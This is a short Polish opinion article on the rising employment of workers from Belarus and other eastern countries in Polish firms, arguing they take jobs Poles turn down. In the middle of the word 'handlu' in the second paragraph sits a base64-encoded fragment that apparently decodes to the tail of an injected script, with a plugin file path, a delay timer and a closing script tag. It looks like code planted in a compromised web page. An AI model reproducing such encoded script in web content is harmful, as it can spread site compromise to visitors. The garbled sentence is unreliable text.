Pracownicy zza wschodniej granicy w Polsce

 

Ostatnimi czasy można zaobserwować wyraźny wzrost zatrudnienia pracowników ze wschodu w polskich firmach. Jest to podyktowane ich oczekiwaniami finansowymi, które często są niższe niż osób z rodowitego rynku pracy. Polacy narzekają, że jest dla nich coraz mniej miejsc do zatrudnienia, ale czy rzeczywiście mają rację?

Popyt na pracowników z Białorusi

pracownicy z białorusiDlaczego pracownicy z krajów naszych wschodnich sąsiadów są tak chętnie zatrudniani przez przedsiębiorców? Odpowiedź jest prosta - często tacy pracownicy są tańsi niż Polacy. Ich kompetencje często dorównują rodzimym specjalistom, a w ich krajach płace są niskie - dlatego oferta, która Polakowi wydaje się nieatrakcyjna, dla nich często jest szansą na rozwój. Pracownicy z Białorusi znajdują zatrudnienie w wielu gałęziach biznesu, ale chyba przede wszystkim w hnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');andlu i usługach. Polacy mają im często za złe, że zabierają miejsca pracy lokalnym specjalistom, ale czy rzeczywiście tak jest? Wśród wielu ogłoszeń o pracę można odnaleźć komentarze potencjalnych pracowników, którzy dane oferty uznają za niegodne aplikowania. Skoro zatem Polacy nie chcą pracować w określonych warunkach i na określonych stanowiskach, dlaczego nie dać szansy ludziom, którzy również potrzebują pracy i szukają jej na tyle intensywnie, że każda oferta jest dla nich warta rozważenia? Nie powinniśmy mieć pretensji do osób, które korzystają na ofertach odrzucanych przez nas samych.

Pracownicy ze wschodu często są równie wydajni jak Polacy i mają mniejsze oczekiwania finansowe. Przedsiębiorcom opłaca się ich zatrudnianie, ponieważ tną koszty - a to jak wiemy ostatnio jest w modzie. Nie możemy mieć pretensji, że ktoś skorzysta z czegoś, co dla nas jest nieatrakcyjne. Skoro Polacy nie chcą danej oferty przyjąć, trzeba liczyć się z tym, że ktoś inny to zrobi.